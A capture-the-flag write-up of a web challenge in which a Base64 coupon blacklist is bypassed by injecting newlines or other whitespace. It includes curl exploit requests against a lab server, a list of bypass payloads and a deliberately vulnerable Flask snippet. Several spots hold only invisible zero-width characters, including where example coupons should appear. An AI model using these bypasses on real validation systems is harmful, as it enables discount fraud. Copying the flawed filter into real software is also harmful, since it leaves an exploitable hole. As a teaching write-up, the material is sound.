Купоны64 (Kupony64)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-03 | Status: Solved Techniques: Base64 whitespace injection to bypass blacklist filter, Filter evasion via newline character injection, Pattern recognition in coupon format

Summary

Task: Coupon validation system with blacklisted 100% discount coupon. Solution: Bypass Base64 blacklist filter by injecting whitespace (newline) into the encoded string, which the decoder ignores but the filter does not recognize.

Купоны64 (Kupony64) — hackerlab

Description

Решил попробовать себя в багбаунти маркетплейсов. Начал разведку по скоупу и наткнулся на домен, который валидирует купоны этого же маркетплейса. Как думаешь, с помощью него возможно получить купон на 100% скидку?

URL: http://62.173.140.174:16014/

Analysis

Reconnaissance

1. Server: Gunicorn (Python/Flask)
2. Page: "Coupon verifier only for development usage"
3. Coupon format: Base64-encoded strings

Analyzing examples

The page shows example coupons: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Pattern

Coupon format: BEST_MARKET + discount percentage

First attempt — direct 100% coupon

Creating a 100% discount coupon:

• Plaintext: BEST_MARKET100
• Base64: QkVTVF9NQVJLRVQxMDA=

 bash read-only • copy allowed Copy
curl -s -X POST http://62.173.140.174:16014/ -d "name=QkVTVF9NQVJLRVQxMDA="

Response: "Forbidden coupon. Only for l33t developers." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The 100% coupon is blacklisted!

Solution

Bypassing the filter via whitespace injection

Base64 decoders typically ignore whitespace characters (spaces, newlines, tabs). This allows bypassing a blacklist filter that checks for exact Base64 string matches.

Idea: Insert a newline character (%0a) in the middle of the Base64 string:

• Original: QkVTVF9NQVJLRVQxMDA=
• Modified: QkVTVF9NQVJLRVQx%0aMDA=

How it works:

1. The filter checks the raw Base64 string and does NOT find the blacklisted pattern QkVTVF9NQVJLRVQxMDA=
2. The Base64 decoder ignores \n and correctly decodes the string to BEST_MARKET100
3. The coupon passes validation as a 100% discount ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

 bash read-only • copy allowed Copy
curl -s -X POST http://62.173.140.174:16014/ -d "name=QkVTVF9NQVJLRVQx%0aMDA="

Response: "Valid coupon for CODEBY{REDACTED} discount for truly l33t dev!"

Alternative Methods for Bypassing Base64 Filters

 bash read-only • copy allowed Copy
# Newline injection
QkVTVF9NQVJLRVQx%0aMDA=

# Space injection
QkVTVF9NQVJLRVQx%20MDA=

# Tab injection
QkVTVF9NQVJLRVQx%09MDA=

# Carriage return
QkVTVF9NQVJLRVQx%0dMDA=

# Multiple whitespace
QkVTVF9NQVJLRVQx%0a%0aMDA=

Defense

1. Decode before checking: Filter the decoded value, not the Base64 string
2. Normalization: Remove whitespace from Base64 before processing
3. Whitelist instead of blacklist: Validate coupon format against a whitelist pattern
4. Server-side validation: Verify coupons in the database, not by pattern ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Technical Explanation

Python's base64.b64decode() ignores whitespace by default:

 python read-only • copy allowed Copy
import base64

# Both variants decode identically
base64.b64decode("QkVTVF9NQVJLRVQxMDA=")      # b'BEST_MARKET100'
base64.b64decode("QkVTVF9NQVJLRVQx\nMDA=")    # b'BEST_MARKET100'

Vulnerable code (presumably):

 python read-only • copy allowed Copy
BLACKLIST = ["QkVTVF9NQVJLRVQxMDA="]  # BEST_MARKET100

@app.route("/", methods=["POST"])
def validate():
    coupon_b64 = request.form.get("name")
    
    # Filter checks raw Base64 (VULNERABILITY!)
    if coupon_b64 in BLACKLIST:
        return "Forbidden coupon. Only for l33t developers."
    
    # Decoder ignores whitespace
    coupon = base64.b64decode(coupon_b64).decode()
    
    if coupon == "BEST_MARKET100":
        return f"Valid coupon for {FLAG} discount for truly l33t dev!"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍